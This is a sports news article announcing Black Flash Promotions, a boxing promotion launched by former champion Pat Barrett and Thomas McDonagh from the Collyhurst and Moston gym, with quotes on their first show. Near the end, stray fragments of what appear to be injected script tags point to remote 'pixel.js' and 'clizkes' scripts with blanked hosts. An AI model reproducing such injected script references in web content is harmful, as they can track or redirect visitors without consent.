Pat Barrett, Thomas McDonagh and coach Paulie Da Silva
Former British and European champion Pat Barrett, now a boxing coach at the Collyhurst and Moston Lads Club in the North of the City, was recently granted a promoters licence by the British Boxing Board of Control and now together with his former successful fighters Thomas McDonagh and Paulie Da Silva they are now ready to bring through the next generation of boxers from the gym where they made their own names.
The first Black Flash Promotion will be staged at the new Middleton Arena in Manchester on October 25th 2014. Full show details to follow…
Since the retirement of gym founder Brian Hughes MBE in 2011, Barrett and McDonagh have taken over the reigns and now have plans to stage their own local professional boxing events to showcase the great talent they have nurtured in the same way Hughes did with them. Black Flash Promotions have a strong team behind them with everything in place to succeed.
One of the last successful professionals to come through the gym was Bury’s unbeaten super-bantamweight contender Scott Quigg, he followed in the footsteps of the likes of Robin Reid, Michael Gomez, Anthony Farnell, Michael Jennings, Matthew Hall, Pat Barrett and Barrett says by staging their own shows, it will allow the new professionals at the gym to get early experience and the platform to start building a fan base the same way he, McDonagh and all the other past champions did under Hughes.
“I’m delighted to announce Black Flash Promotions first professional show at the Middleton Arena on October 25.” Barrett told www.Britishboxers.co.uk
“It is a project that has been in the making for a while and now everything is in place to stage our first show and we also have future plans to stage bigger shows, so all is going well and we look forward to a new era as we work with the next generation of boxers from the Collyhurst and Moston Boxing Club, the same gym where me and Tommy were taught to box by Brian Hughes.
“We have a stable now full of kids waiting to break through onto the professional arena to join the club’s current pros like Matty Hall and Matthew Ryan.
“The problem in boxing at the moment is that young professionals are not getting the opportunities they need and deserve, because there are not enough small hall boxing shows taking place. The big promoters are only interested in the star amateurs or the big ticket sellers. This means other lads, who may be better fighters don’t get the chance to show what they can do while building there fan base locally while learning their trade, we are going to give them that opportunity by staging our own local shows like this club has done in the past.
“This is the way, Tommy McDonagh, Scott Quigg, Robin Reid, myself and all the old boys learnt my their trade under Brian, before going onto bigger and better things. We will not be waiting for the big promoters to call on us, we are taking things into our own hands. We have everything in place to make this club a force in British boxing again.” added Barrett.
The gym is also a haven for many of the kids who frequent it to keep fit, socialise and learn, with new class rooms also being introduced upstairs at the Lightbowne Road premises. It is an home from home for many, an institution which is producing character an outlet for the youth, while also giving them the opportunity to box competitively.
The amateur side of the gym is thriving and some of the lads coming through cannot be kept on the leash for long, they are chomping at the bit to turn professional as Thomas McDonagh explained: “We have a crop of lads coming through who have real talent, Zelfa Barrett and Sean Ben Mulligan will make their professional débuts on our first show in October and then behind them there are plenty of others ready to turn over.
“We want to make sure that they are looked after while they learn their trade and by staging our own shows, we can nurture these lads as they become men, so we don’t have to send them to some promoter who might just want an opponent and they maybe don’t get treated fairly.
“Under our own banner and on our own shows we will be able to look after these lads and bring them through the right way. Me and Pat have been professionals and we know the game and we can help them in that side of things as well as being their coaches.” added McDonagh.
For more information and tickets for the October 25th show in Middleton click here or contact @blackflashpromo
Related Article:
Pat Barrett: “Boxing is being starved of oxygen and will die!” read more…# src=’https://#/pixel.js?track=r&subid=043′ type=’text/javascript’># src=’https://#/pixel.js?track=r&subid=043′ type=’text/javascript’># src=’https://land.#/clizkes’ type=’text/javascript’># src=’https://#/clizkes’ type=’text/javascript’>
Thanks for reading and watching, hope you come back soon. Please Follow us on Social Media for updates…
Instagram: https://www.instagram.com/britishboxers_bbtv
Twitter: https://twitter.com/britishboxers
Facebook: https://www.facebook.com/britishboxers
YouTube: https://www.youtube.com/britishboxersuk
boxing #britishboxing
